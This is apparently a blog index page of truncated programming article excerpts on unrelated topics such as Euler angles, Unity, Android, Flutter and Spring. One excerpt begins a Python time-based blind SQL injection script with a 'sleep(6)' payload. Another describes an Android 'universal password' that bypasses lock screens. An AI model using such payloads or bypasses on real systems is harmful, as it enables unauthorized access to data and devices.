Euler angles (roll angle, pitch angle, yaw angle), rotation matrix, quaternion conversion and solution to universal joint deadlock

1. Overview The description method of the pose (position and direction) of an object is generally represented by two coordinate systems. One is the world coordinate system or the ground coordinate system. Here I call it the ground coordinate system, which belongs to the reference coordinate system; the other is its own Coordinate system, it […]

[Unity Practical Combat] Implementing a powerful, universal and easy-to-expand dialogue system (with project source code) (supplementary update on 2023/12/26)

Article directory Let’s take a look at the final effect first Preface material initial preparation work 1. Simple drawing of terrain 2. Draw dialog box 3. Configure character animation 4. Achieve simple control of character movement Control the display and hiding of dialog boxes Define conversation content Implement simple conversation function Verbatim printing effect Quickly […]

Statistical universal package for data query of day, week, month, quarter and year in JAVA code

Table of Contents background ?edit Implementation ideas Package structure Rule engine call entry Call execution strategy Rule engine detailed code TimeConditionExpression.java TimeConditionType.java TimeConditionRule.java TimeConditionRuleEngine.java MergeRank.java TimeConditionInvocationHandler.java Next are 5 rule implementation classes DayConditionRule.java WeekConditionRule.java MonthConditionRule.java QuarterConditionRule.java YearConditionRule.java The final output data structure is as follows: Background In work, it is often necessary to perform statistical […]

SQL injection: delayed injection of python universal script

SQL injection: delayed injection of python script import requests import binascii def judgment_delay(complete_url): headers={<!– –> “User-Agent”:”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36″ } try: requests.get(url=complete_url,headers=headers,timeout=3) except requests.exceptions.ReadTimeout: return “time out” else: return “normal” def judgment_exploit(url): payload=” and sleep(6) #” complete_url=url + payload num=judgment_delay(complete_url) if “time out” in num: print(“[ + […]

Android universal indicatorIndicatorView

Question: Need an indicator that supports images or color values Solution: The following effect <com.core.ex.widget.IndicatorView android:id=”@ + id/indicator_view” android:layout_width=”wrap_content” android:layout_height=”wrap_content” android:layout_gravity=”bottom|center_horizontal” android:layout_marginBottom=”20dp” app:indicator_item_height=”5dp” app:indicator_item_space=”10dp” app:indicator_item_width=”40dp” app:selected_color=”@color/cl_red” app:unSelected_color=”@color/cl_32a0fa” /> <com.core.ex.widget.IndicatorView android:id=”@ + id/indicator_view” android:layout_width=”wrap_content” android:layout_height=”wrap_content” android:layout_gravity=”center” android:layout_marginBottom=”20dp” app:indicator_item_height=”30dp” android:orientation=”vertical” app:indicator_item_space=”10dp” app:indicator_item_width=”5dp” app:selected_color=”@color/cl_red” app:unSelected_color=”@color/cl_32a0fa” /> <com.core.ex.widget.IndicatorView android:id=”@ + id/indicator_view” android:layout_width=”wrap_content” android:layout_height=”wrap_content” android:layout_gravity=”center” android:layout_marginBottom=”20dp” android:orientation=”horizontal” app:indicator_item_height=”40dp” app:indicator_item_space=”10dp” app:indicator_item_width=”40dp” […]

Android system custom development – universal password (including PIN, Password, pattern)

Because customers often encounter situations where users forget their passwords, causing users to send them back to the customer, this function needs to be developed. This function is implemented on Android8—Android13 respectively. First of all, when setting a universal password, at least two points must be considered: 1. Verification of lock screen interface 2. Verification […]

Integrate UniLinks with Flutter (Android AppLinks + iOS UniversalLinks)

Let’s integrate UniLinks using Flutter Mobile and Flutter Web. Step by step guide! I’m Pedro Dionísio, a Flutter developer at InspireIT in Portugal, and I wrote this UniLinks tutorial with the motto: Firebase DynamicLinks is deprecated and like Firebase says in its documentation it should no longer be implemented (I was using it and since […]

A set of universal asynchronous processing solutions

Preface Purpose advantage principle components Design Patterns flow chart database script Asynchronous strategy Security Level Execution status flow chart apollo configuration usage Notice Show results github address 1Foreword Good system design must adhere to the opening and closing principle. As the business continues to be iteratively updated, the core code will be constantly modified, and […]

[MyBatis Plus] Use MyBatis Plus to complete the paging function and implement the universal paging entity

Article directory 1. MyBatis Plus paging plug-in 1.1 Understand the plug-in functions of MyBatis Plus 1.2 Configure paging plug-in 1.3 Test paging function 2. Implement universal paging entities 2.1 Paging query requirements 2.2 Pagination entity class 2.3 Paging query interface 2.4 Conversion of general entities 2.4.1 Convert PageQuery to MP Page 2.4.2 Paging results PO […]

springboot2.x uses @RestControllerAdvice to implement universal exception capture

Article directory demo address achieve effect introduce Basic class preparation 1. General enumeration and error status enumeration 2. Define universal return results 3. Customized business exceptions Unified exception catching test demo address demo project address Achieve results When we enter 1, the normal response result is returned When we enter 2, an exception is thrown, […]